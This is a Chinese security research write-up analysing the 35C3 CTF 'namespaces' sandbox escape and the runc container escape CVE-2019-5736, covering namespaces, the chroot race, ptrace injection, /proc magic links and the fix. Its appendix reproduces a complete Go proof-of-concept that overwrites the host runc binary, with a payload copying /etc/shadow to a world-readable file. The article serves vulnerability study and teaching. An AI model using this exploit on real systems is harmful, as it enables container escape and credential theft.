摘要

35C3 CTF是在第35届混沌通讯大会期间,由知名CTF战队Eat, Sleep, Pwn, Repeat于德国莱比锡举办的一场CTF比赛。比赛中有一道基于Linux命名空间机制的沙盒逃逸题目。赛后,获得第三名的波兰强队Dragon Sector发现该题目所设沙盒在原理上与docker exec命令所依赖的runc(一种容器运行时)十分相似,遂基于题目经验对runc进行漏洞挖掘,成功发现一个能够覆盖宿主机runc程序的容器逃逸漏洞。该漏洞于2019年2月11日通过邮件列表披露,分配编号CVE-2019-5736。

本文将对该CTF题目和CVE-2019-5736作完整分析,将整个过程串联起来,以期形成对容器底层技术和攻击面更深刻的认识,并学习感受其中的思维方式。

1. 前言

有些鸟是不能关在笼子里的,他们的羽毛太漂亮了。(《肖申克的救赎》)

35C3 CTF是在第35届混沌通讯大会期间,由知名CTF战队Eat, Sleep, Pwn, Repeat于德国莱比锡举办的一场CTF比赛。比赛中有一道基于Linux命名空间机制[10]的沙盒逃逸题目(类别为Pwn)。赛后,获得第三名的波兰强队Dragon Sector发现该题目所设沙盒在原理上与docker exec命令所依赖的runc(一种容器运行时)十分相似,遂基于题目经验对runc进行漏洞挖掘,成功发现一个能够覆盖宿主机runc程序的容器逃逸漏洞。该漏洞于2019年2月11日通过邮件列表披露,分配编号CVE-2019-5736。

自漏洞披露以来,网络上陆续有一些分析文章出现。其中不乏洞见之作,然而部分细节的缺失使得它们对于逻辑严谨但缺乏相关背景知识的读者来说并不十分友好。一方面,本文期望能够给出一个内容翔实、逻辑完整的漏洞分析;另一方面,如前所述的整个事件是一个从模拟场景到真实场景、从CTF题目到实际漏洞的极好示例——笔者希望借助对Dragon Sector从Pwn到发现漏洞的历程重现,形成对容器底层技术和攻击面更深刻的认识,并学习感受其中的思维方式。

本文涉及到大量容器和Linux系统相关的背景知识,限于篇幅无法一一进行讲解。部分缺乏这些背景知识的读者可能会有困惑。建议采用“深度优先搜索“的方式阅读文章,即遇到陌生概念时先去寻找资料把这个概念大致弄明白,再回来继续阅读。希望通过这样的阅读,您能有所收获。

后文结构如下:首先对35C3 CTF题目进行分析,其次是CVE-2019-5736,最后对整个分析过程作总结。

文中如有不当之处,还请读者朋友指教。

2. 35C3 CTF Pwn namespaces

2.1 题目概述

拿到CTF题目,自然先读一下题面:

Here is another linux user namespaces challenge by popular demand.
For security reasons, this sandbox needs to run as root. If you can break out of the sandbox, there’s a flag in /, but even then you might not be able to read it :).
The files are here: https://35c3ctf.ccc.ac/uploads/namespaces-a4b1ac039830f7c430660bc155dd2099.tar Service running at: nc 35.246.140.24 1

Hints:

  • You’ll need to create your own user namespace for the intended solution.

从题面上我们知道,这是一道与Linux命名空间有关的沙盒题目,任务是逃出沙盒,拿到flag。

下载文件包并解压,得到两个文件:一个Dockerfile和一个名为namespaces的64位Linux可执行文件。

其中,Dockerfile内容如下:

FROM tsuro/nsjail
COPY challenge/namespaces /home/user/chal
#COPY tmpflag /flag
CMD /bin/sh -c "/usr/bin/setup_cgroups.sh && cp /flag /tmp/flag && chmod 400 /tmp/flag && chown user /tmp/flag && su user -c '/usr/bin/nsjail -Ml --port 1337 --chroot / -R /tmp/flag:/flag -T /tmp --proc_rw -U 0:1000:1 -U 1:100000:1 -G 0:1000:1 -G 1:100000:1 --keep_caps --cgroup_mem_max 209715200 --cgroup_pids_max 100 --cgroup_cpu_ms_per_sec 100 --rlimit_as max --rlimit_cpu max --rlimit_nofile max --rlimit_nproc max -- /usr/bin/stdbuf -i0 -o0 -e0 /usr/bin/maybe_pow.sh /home/user/chal'"

注:本文成稿时似乎35C3 CTF官网已经关闭,如需本题目附件,可关注“绿盟科技研究通讯”公众号,回复35c3ctf进行下载。附件相关权利为35C3 CTF主办方所有,如有不当,请联系我们删除。

2.2 漏洞定位与分析

2.2.1 Dockerfile

首先看Dockerfile,毫无疑问,最重要的是第三行CMD部分。其中,/usr/bin/setup_cgroups.sh是设置cgroups的脚本,这部分是资源上的限制,帮助不大;cp /flag /tmp/flag && chmod 400 /tmp/flag && chown user /tmp/flag告诉我们flag文件有两处:/flag/tmp/flag,前者的权限和所有者都未知,后者的权限是400,所有者为user用户。

NsJail[4]是由Google开源的一款进程隔离工具,常用于CTF比赛题目的部署。它的参数有很多,感兴趣者可以自行到官网了解。

Dockerfile中最后以user用户身份运行NsJail,创建了一个隔离环境:

/usr/bin/nsjail -Ml --port 1337 --chroot / -R /tmp/flag:/flag -T /tmp --proc_rw -U 0:1000:1 -U 1:100000:1 -G 0:1000:1 -G 1:100000:1 --keep_caps --cgroup_mem_max 209715200 --cgroup_pids_max 100 --cgroup_cpu_ms_per_sec 100 --rlimit_as max --rlimit_cpu max --rlimit_nofile max --rlimit_nproc max -- /usr/bin/stdbuf -i0 -o0 -e0 /usr/bin/maybe_pow.sh /home/user/chal

在众多参数中,我们感兴趣的是:

  1. 监听在1337端口(-Ml --port 1337);
  2. 没有切换根目录(--chroot /);
  3. /tmp/flag以只读方式绑定挂载到/flag,并在/tmp处挂载一个tmpfs(-R /tmp/flag:/flag -T /tmp);
  4. 将procfs挂载为可读写模式(/proc/_rw);
  5. UID/GID:隔离环境内的0和1分别映射为环境外的1000和100000(-U 0:1000:1 -U 1:100000:1 -G 0:1000:1 -G 1:100000:1);
  6. 保留所有capabilities[5](--keep_caps)。

其他参数对于攻克挑战来说无关紧要。最后,NsJail将运行/home/user/chal,也就是前面提到的namespaces二进制文件。

分析到这里,我们可以确定的是,在隔离环境内部,通过/tmp/flag路径已经不能直接拿到flag,因为它被新的tmpfs遮盖;通过/flag路径能够拿到flag,虽然一开始我们不知道它的权限和所有者,但现在挂载在这里的其实是原先的/tmp/flag,属于user用户,而当前的隔离环境恰恰是以user身份运行。

所以,如果能利用后面的namespaces程序在这个隔离空间内获得user身份的代码执行机会,就能拿到flag。

注:这个Dockerfile可能会给一些朋友造成误解。事实上,Docker本身和NsJail只是用来部署题目的工具,并非要逃逸的沙盒。后面将要分析的namespaces程序才是需要突破的有缺陷沙盒。

2.2.2 二进制文件

虽然对于沙盒类题目来说不是很必要,但还是常规操作看一下namespaces的文件类型:

rambo@matrix:~/namespaces$ file namespaces
namespaces: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9e6a81c671a2d46fc420b7cd0851c482c48ee53a, not stripped

经过逆向,我们基本掌握了这个程序的代码逻辑,一目了然:

  1. 创建/tmp/chroots目录,并将其权限改为777
  2. 进入循环体,等待用户输入,输入1则执行start_box函数进行创建沙盒操作(转向第3步);输入2则执行run_elf函数,将用户给定的二进制程序放入沙盒中运行(转向第4步);
  3. start_box分支:首先会以全新的命名空间创建一个子进程,将子进程user命名空间的UID/GID 1 映射为父进程user命名空间的1,接着父进程回到第2步中的循环体等待输入。子进程从用户输入读取一段数据作为ELF文件加载为匿名文件(memfd)[12]并返回文件描述符,然后在/tmp/chroot/下以当前沙盒的序号为名称创建一个目录,同样改权限为777,并将根目录切换到这里,紧接着调用setresgid/setresuid降权为1号用户。最后,子进程将执行前述匿名文件;
  4. run_elf分支:首先由用户给定一个沙盒序号,并继续提示用户发送一段数据作为将要执行的ELF文件。接着创建一个子进程,父进程回到第2步中的循环体等待输入。子进程根据用户给定的沙盒序号找到沙盒内的初始进程(第3步中用户输入的ELF程序),**依次打开并加入/proc/[初始进程PID]/ns/下的usermntpidutsipccgroup命名空间(划重点!)。**其中,在加入pid命名空间后执行了一次fork,真正切换到目标pid命名空间(这是因为pid命名空间比较特殊,当前进程的pid命名空间并不会改变,只有子进程的才会)。fork后的父进程退出,子进程根据沙盒序号找到/tmp/chroots/[沙盒序号],切换根目录到这里,同样调用setresgid/setresuid降权为1号用户。最后,这个子进程将执行本步骤最开始用户输入的ELF文件。

这4步讲完,您可能会觉得有点绕。但是,一方面,这个程序的代码逻辑本身真的非常简单,推荐自己动手逆向看看;另一方面,将这一系列的操作和容器类比来看,我们会发现它们很相像:上述第3步创建沙盒并启动一个init进程,这与容器的创建和启动方式大体相同,第4步则模拟了docker exec,即容器内执行命令的操作。也难怪Dragon Sector在赛后会跃跃欲试去看Docker有没有类似的漏洞。当然,这是后话,何况CVE-2019-5736的成因其实与本题并不相同。我们还是回到当前题目的分析中来。

经过上述讲解,或许有读者即使还没有发现漏洞所在,也已经发现了异常之处——第4步run_elf分支中“依次加入命名空间”的步骤竟然漏掉很重要的一个——net命名空间!

2.2.3 漏洞分析

进程没有加入所在沙盒的net命名空间有什么影响呢?

这意味着,它能够直接看到宿主的网络接口。在题目环境里,就是我们借助run_elf运行的程序能够直接看到/home/user/chal视角下的网络接口,而非它所在沙盒内部的。因此,不同沙盒内部通过run_elf运行的程序能够互相通信。

那么,如何借助这一特点完成沙盒逃逸呢?

2.2.3.1 传递文件描述符

Linux系统中有一类特殊的文件操作API,它们的名称以at结尾,如openatunlinkatsymlinkat等。它们与不带at的函数功能相同,只是通过一个文件描述符加基于该文件描述符对应文件的相对路径来获得最终的文件路径,而非传统上直接由调用者给出字符串参数指定。前面三个函数的定义如下:

int openat(int dirfd, const char *pathname, int flags);
int unlinkat(int dirfd, const char *pathname, int flags);
int symlinkat(const char *target, int newdirfd, const char *linkpath);

如果我们能够在沙盒1中打开当前进程根目录,并将该文件描述符通过网络通信传递给沙盒2中的进程,那么沙盒2中的进程就能够以这个文件描述符加上相对路径参数调用openat打开沙盒外的文件,例如/flag,从而实现沙盒逃逸。

事实上,这个思路是可行的。参考文档[6]可知,我们可以借助unix socket以“辅助消息”(Ancillary messages)的方式在指定类型为SCM_RIGHTS时发送和接收文件描述符;然而,各个沙盒进程的mnt命名空间互相隔离,不同沙盒进程无法通过打开同一unix socket文件的方式实现通信。

同样由文档[6]可知,Linux支持一类独立于文件系统的抽象命名空间(Abstract namespace),我们能够将unix socket绑定到抽象命名空间内的一个名称上,而非在本地文件系统上创建一个socket文件,这样一来,不同沙盒中run_elf的进程就能够通过同一个名称找到对应unix socket,从而实现文件描述符的传递。

至此,似乎思路已经打通,我们只需要按照上述步骤编写代码,然后读取/flag就好。实际上,这样并不能成功。前面提到过,/flag实际上是/tmp/flag以只读方式的绑定挂载,而/tmp/flag属于user用户(由于nsjail的映射,在沙盒中它实际上是0号root用户),权限为400run_elf运行的ELF文件经过降权,以沙盒内UID/GID为1的身份运行。因此,我们还需要让run_elf进程在沙盒内设法提权为root用户(从外部来看,即user用户)。

2.2.3.2 提升权限

我们注意到,沙盒本身是以user身份运行的,只是分别在start_boxrun_elf分支经过降权(setr)罢了。如果能够阻止降权,就能够获得user权限。从2.2.2节可以知道,run_elf分支在降权前执行了依次加入沙盒命名空间的操作。如果能够在这些步骤后不执行降权操作,就不会降权。进一步地,如果能够在这些步骤后直接执行我们想要执行的代码,譬如读取/flag,就实现了以user身份代码执行的目的。

如何实现呢?

如果我们能够ptrace到一个run_elf进程上,就能够向其中注入代码,而这要求ptrace进程与被调试的run_elf进程在同一个pid命名空间内。回顾前面的内容,run_elf依次打开并加入/proc/[初始进程PID]/ns/下的usermntpidutsipccgroup命名空间。设想这样一种情况:假如我们创建一个沙盒,其中的init进程fork一个子进程,然后将/tmp/xxx目录绑定挂载到/proc/[init进程PID]/ns,接着在这个目录下创建符号链接,将各个命名空间链接到init进程fork的子进程对应的/proc/[子进程PID]/ns目录下,那么当一个run_elf进程加入沙盒init进程的mnt命名空间后,它将看到被上述操作修改过的/proc,接着它加入的pid命名空间实际上属于init的子进程。这样一来,init子进程就能够在这个pid命名空间下借助ptrace未降权run_elf进程注入代码并执行了。为了提高成功率,我们甚至可以将init进程的uts命名空间设置为一个管道,当run_elf进程尝试加入这个命名空间时,它将被阻塞住,从而阻止了降权操作。

至此,似乎我们达到了以user身份代码执行的目的。然而,上面的思路还是存在问题。

为了ptrace,init进程必须新建一个pid命名空间,而新建pid命名空间需要当前进程在当前user命名空间内具有CAP_SYS_ADMIN权限,但是原init进程并没有这个权限,且chroot过的进程不被允许创建新的user命名空间来获得该权限。因此,现在的问题变成了如何让原init进程从chroot中逃逸。

2.2.3.3 从chroot中逃逸

2.2.2节一开始提到所有沙盒所在目录/tmp/chroots的权限为777,而2.2.3.1节中我们已经能够通过传递文件描述符来让一个run_elf进程访问到chroot外的文件系统。综合两者来看,我们有以下逃逸chroot的方案:

  1. 首先创建沙盒1和沙盒2,其中沙盒1将自己的根目录文件描述符发送给沙盒2,沙盒2拿到这个文件描述符并循环等待沙盒3在/tmp/chroots下目录的建立;
  2. 创建沙盒3,从2.2.2节我们得知,start_box分支会先创建/tmp/chroots/3目录(mkdir),然后chroot到该目录。这里和第1步最后沙盒2的循环等待联系在一起,构成了我们安排的竞态攻击;
  3. 如果CPU调度结果是:沙盒3先mkdir,然后沙盒2检测到/tmp/chroots/3的建立,并使用unlinkat API将该目录删除(注意777宽松权限),紧接着使用symlinkat API创建一个同名的指向/根目录的符号链接,最后沙盒3执行chroot操作。那么沙盒3的chroot后看到的依然是宿主根路径,逃逸成功。我们获得的正是2.2.3.2节末尾需要的、从chroot中逃逸的init进程。

需要注意的一点是,笔者最初在虚拟机中搭建docker环境进行上述实验,**单核CPU配置导致本节提到的竞态攻击成功率非常低。**建议读者朋友搭建环境复现时最好在多核环境下进行。

2.3 漏洞利用

环环相扣,完美无缺,一条利用链已经形成。Github上有研究人员给出了非常优雅的完整漏洞利用代码[7],十分推荐大家下载学习。如果2.2.3.3节的竞态攻击成功,那么我们通过ptrace注入到未降权的run_elf进程内的读取/flag的代码就会执行。

我们先在本地搭建起漏洞环境,将题目运行起来:

接着运行漏洞利用代码,效果如下图所示(略去了前面的交互过程):

至此,关于这道题目的讲解到这里告一段落。总结一下,上面的关键问题有两个:

  1. 外来进程并没有完全加入沙盒所有命名空间(net命名空间);
  2. 外来进程是依次加入沙盒命名空间的,尤其是在加入pid命名空间时,由于其特性(修改pid命名空间只在子进程生效),直接fork出子进程,这给了我们竞态攻击的机会。

3. CVE-2019-5736

3.1 漏洞概述

在35C3赛后从莱比锡返程的路上,Dragon Sector队员开始进行知识迁移,琢磨能否应用这道CTF题目的经验方法去攻击一个相似的程序模型:容器。

在容器世界里,真正负责创建、修改和销毁容器的组件实际上是容器运行时。下图[17]较好地展示了当下容器运行时在整个容器世界中所处位置:

那么,容器运行时在容器内部执行命令时是否也存在上面提到的“依次加入命名空间”的问题呢?如果是,那么它就很可能面临同样的缺陷。以runc为例(后文均以runc为例进行说明):runc exec时先加入userpid命名空间,接着fork出子进程,再加入其他命名空间。如果恶意进程在容器内检测到runc加入了自己的pid命名空间时,直接调用ptrace向runc进程注入恶意代码,就能够实现容器外代码执行。

很遗憾,一方面,runc是在加入了所有命名空间后才fork出子进程的;另一方面,docker的默认安全配置不允许容器内部执行和命名空间相关的系统调用。这个思路行不通。

后来,他们的思路转向proc伪文件系统[11],成功发现了漏洞。下一节,我们将对漏洞成因进行分析。

3.2 漏洞分析

我们在执行功能类似于docker exec的命令(其他的如docker run等,不再讨论)时,底层实际上是容器运行时在操作。例如runc,相应地,runc exec命令会被执行。它的最终效果是在容器内部执行用户指定的程序。进一步讲,就是在容器的各种命名空间内,受到各种限制(如cgroups)的情况下,启动一个进程。除此以外,这个操作与宿主机上执行一个程序并无二致。

执行过程大体是这样的:runc启动,加入到容器的命名空间,接着以自身(/proc/self/exe,后面会解释)为范本启动一个子进程,最后通过exec系统调用执行用户指定的二进制程序。

这个过程看起来似乎没有问题,相关风险点我们在3.1节也已经分析过了。现在,我们需要让另一个角色出场——proc伪文件系统,即/proc。关于这个概念,Linux文档[11]已经给出了详尽的说明,这里我们主要关注/proc下的两类文件:

  1. /proc/[PID]/exe:它是一种特殊的符号链接,又被称为magic links为什么将这类符号链接叫做magic links呢?请参考附录2内容,这一点对当前漏洞的形成至关重要),指向进程自身对应的本地程序文件(例如我们执行ls/proc/[ls-PID]/exe就指向/bin/ls);
  2. /proc/[PID]/fd/:这个目录下包含了进程打开的所有文件描述符。

/proc/[PID]/exe的特殊之处在于,如果你去打开这个文件,在权限检查通过的情况下,内核将直接返回给你一个指向该文件的描述符(file descriptor),而非按照传统的打开方式去做路径解析和文件查找。这样一来,它实际上绕过了mnt命名空间及chroot对一个进程能够访问到的文件路径的限制。

那么,设想这样一种情况:在runc exec加入到容器的命名空间之后,容器内进程已经能够通过内部/proc观察到它,此时如果打开/proc/[runc-PID]/exe并写入一些内容,就能够实现将宿主机上的runc二进制程序覆盖掉!这样一来,下一次用户调用runc去执行命令时,实际执行的将是攻击者放置的指令。

在未升级的容器环境上,上述思路是可行的,但是攻击者想要在容器内实现宿主机上的代码执行(逃逸),还需要面对两个限制:

  1. 需要具有容器内部root权限;
  2. Linux不允许修改正在运行进程对应的本地二进制文件。

事实上,限制1经常不存在,很多容器服务开放给用户的仍然是root权限;而限制2是可以克服的,后面一节会讲到具体的利用方式。

可以看到这个漏洞的成因比上面的CTF题目简单许多(虽然要完全理解还需要补充很多背景知识)。

3.3 漏洞利用

相对于CTF题目来说,这个漏洞的利用代码[9](附录1中亦列出了源码)也比较简单。其步骤可归纳如下:

  1. 将容器内的/bin/sh程序覆盖为#!/proc/self/exe
  2. 持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对"runc"做字符串匹配,直到找到runc进程号;
  3. 以只读方式打开/proc/[runc-PID]/exe,拿到文件描述符fd;
  4. 持续尝试以写方式打开第3步中获得的只读fd(/proc/self/fd/[fd]),一开始总是返回失败,直到runc结束占用后写方式打开成功,立即通过该fd向宿主机上/usr/bin/runc(名字也可能是/usr/bin/docker-runc)写入攻击载荷;
  5. runc最后将执行用户通过docker exec指定的/bin/sh,它的内容在第1步中已经被替换成#!/proc/self/exe,因此实际上将执行宿主机上的runc,而runc也已经在第4部中被我们覆盖掉了。

我们先在本地搭建起漏洞环境(下图中给出了docker和runc的版本号供参照),然后运行一个容器,在容器中模仿攻击者执行/poc程序,该程序在覆盖容器内/bin/sh#!/proc/self/exe后等待runc的出现。具体过程如下图所示(图中下方“找到PID为28的进程并获得文件描述符”是宿主机上受害者执行docker exec操作之后才触发的):

容器内的/poc程序运行后,我们在容器外的宿主机上模仿受害者使用docker exec命令执行容器内/bin/sh打开shell的场景。触发漏洞后,一如预期,并没有交互式shell打开,相反,/tmp下已经出现攻击者写入的hello,host,具体过程如下图所示:

以上过程表明,借助这个漏洞,容器内进程具备在容器外执行代码的能力。

值得一提的是,该漏洞至少还有一种借助恶意镜像的供应链角度利用思路,以及一种借助动态链接库进行代码注入的利用方法,感兴趣的读者可以自行搜索资料了解一下。

3.4 漏洞修复

当前开发者们对此漏洞的修复方式是采用上一道CTF题目中提到过的创建内存中匿名文件的方法,让runc在容器内执行操作前先把自身复制成为一个匿名文件,接着执行这个匿名文件。

这样一来,在Linux匿名机制的代码实现确保其效果的前提下,容器内的恶意进程就无法通过前文所述/proc/[PID]/exe的方式触及到宿主机上的runc二进制程序。

然而,这种修复方式有一个副作用:增大了容器的内存负担。社区已经有人证实这一点并在Github上反映情况[13]。

4. 总结

走了这么长的路,现在我们能够总结一下,从上面两个案例中收获了什么?

最直接的感受可能是,跨命名空间的操作很容易引入漏洞。加入新的命名空间很容易,然而新的命名空间是否可信?其中具有CAP_SYS_ADMIN权限的进程是否可控?这些是加入前要考虑清楚的问题。

我们继续。Linux命名空间的概念最早来源于贝尔实验室的Plan 9分布式系统项目[14],第一个出现在Linux内核中的是mnt命名空间,始于内核版本2.4.19,而目前为止最后一个加入的user命名空间已经是内核版本3.8了[15];另一方面,proc伪文件系统同样由来已久。这两者分别单独拿出来时,似乎并没有什么问题,即使像/proc下的magic links也不会引起很大麻烦。但放在一起后,结果我们已经看到了。

**成熟复杂系统(譬如Linux)的魅力在于其能够提供强大的功能和机制,而问题则往往出现在这些功能与机制同时或交替生效的场景中。**有时我们会把这类问题称为逻辑漏洞。当然,这类漏洞是可以修复的,在一定程度上也是可以规避的。另外,从上面介绍的CVE-2019-5736漏洞利用代码我们能够感受到,针对逻辑漏洞的利用可以是简单甚至优雅的,但最初把各种机制放在一起检查到底有没有漏洞、有什么漏洞却并不容易。

在云计算世界,我们尤其擅长将各种基础机制打包起来,创造出新的事物,这种新事物也许能够极大地提高生产力,甚至促进产业变革——容器便是典例。然而,结合前文所述,这也意味着以往不曾出现过的机制交叠带来的逻辑漏洞或许会在云环境陆续产生。例如,在今年的欧洲开源峰会(Open Source Summit Europe 2019)上,有议题展示了“命名空间”与“符号链接”两个概念放在一起出现的一系列问题[16],感兴趣的读者可以关注一下。

最后,引用道哥的一句话作结:

建设更安全的互联网。

附录1:CVE-2019-5736 PoC

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
)

// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"

func main() {
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}

我们知道,/proc目录下有许多符号链接,例如/proc/[PID]/exe/proc/[PID]/cwd。然而,它们并非真正的符号链接,或者说,它们是一种特殊的符号链接,叫做magic links。首先,我们可以借助一个小实验来观察它们与普通符号链接的不同:

如上图,我们创建了一个普通符号链接,可以看到它的文件长度为目标文件名的长度,即6;但/proc/self/exe的长度却是0,而非其所指目标文件/bin/ls名称的长度。这个差异从一定程度上说明了/proc下符号链接的特殊性。

当然,将它们称作magic links的原因并非这么简单。其中很重要的一点是,当进程去操作一个这样的符号链接时,例如“打开”操作,Linux内核不会按照普通符号链接处理方式在文件系统上做路径解析,而是会直接调用专属的处理函数并返回对应文件的文件描述符。

到目前为止,magic links的概念并没有被很好地文档化,Aleksa Sarai在对manpage的修改[8]中给出了一些有用的说明,笔者将它们摘录到这里,供大家参考:

There is a special class of symlink-like objects known as “magic-links” which can be found in certain pseudo-filesystems such as proc (5) (examples include /proc/[pid]/exe and /proc/[pid]/fd/ .)

Unlike normal symlinks, magic-links are not resolved through pathname-expansion, but instead act as direct references to the kernel’s own representation of a file handle. As such, these magic-links allow users to access files which cannot be referenced with normal paths (such as unlinked files still referenced by a running program.) Because they can bypass ordinary mount_namespaces (7)-based restrictions, magic-links have been used as attack vectors in various exploits.

As such (since Linux 5.FOO), there are additional restrictions placed on the re-opening of magic-links (see path_resolution (7) for more details.)

其中最重要的一句话是:

Unlike normal symlinks, magic-links are not resolved through pathname-expansion, but instead act as direct references to the kernel’s own representation of a file handle.

因此,magic links是“不走寻常路”的。

也正因为这个概念没有很好地文档化,也许有的读者会觉得“口说无凭”。这里留一个小题目给感兴趣的读者:在Linux内核源码中找到操作magic links的具体逻辑流程。这样做的好处有三:一方面,为magic links的特殊处理提供了最有力的证据;另一方面,能够锻炼从庞杂信息中寻找线索解决问题的能力;最后,能够加深对Linux内核文件处理流程的认识。

下面给出一些提示:

  1. 先不要去最新版本的源码中找。如上面摘录内容所述,5.x版本的代码可能增加了新的检查项目,提高了复杂度(笔者研究时使用的是4.14.151版代码);
  2. 可以以系统调用为探索起点。例如,从open系统调用开始,一步步向后深入;
  3. fs/proc是最重要的目录。

关于这一问题,欢迎后续深入交流。

致谢

在研究过程中,笔者曾就几个技术细节问题向参考文献条目2、3的作者Yuval AvrahamiLevitatingLion请教,在此向两位安全研究人员表示感谢。

参考文献

  1. CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host
  2. Breaking out of Docker via runC – Explaining CVE-2019-5736
  3. Escaping a Broken Container - ’namespaces’ from 35C3 CTF
  4. NsJail
  5. Linux Programmer’s Manual: capabilities - overview of Linux capabilities
  6. Linux Programmer’s Manual: unix - sockets for local interprocess communication
  7. ctf-writeups/35c3ctf/pwn_namespaces
  8. PATCH RFC 1/3 symlink.7: document magic-links more completely
  9. Frichetten/CVE-2019-5736-PoC
  10. Linux Programmer’s Manual: namespaces - overview of Linux namespaces
  11. Linux Programmer’s Manual: proc - process information pseudo-filesystem
  12. Linux Programmer’s Manual: memfd_create - create an anonymous file
  13. CVE-2019-5736: Runc uses more memory during start up after the fix
  14. The Use of Name Spaces in Plan 9
  15. 《自己动手写Docker》,第2章
  16. In-and-out - Security of Copying to and from Live Containers - Ariel Zelivansky & Yuval Avrahami, Twistlock
  17. containerd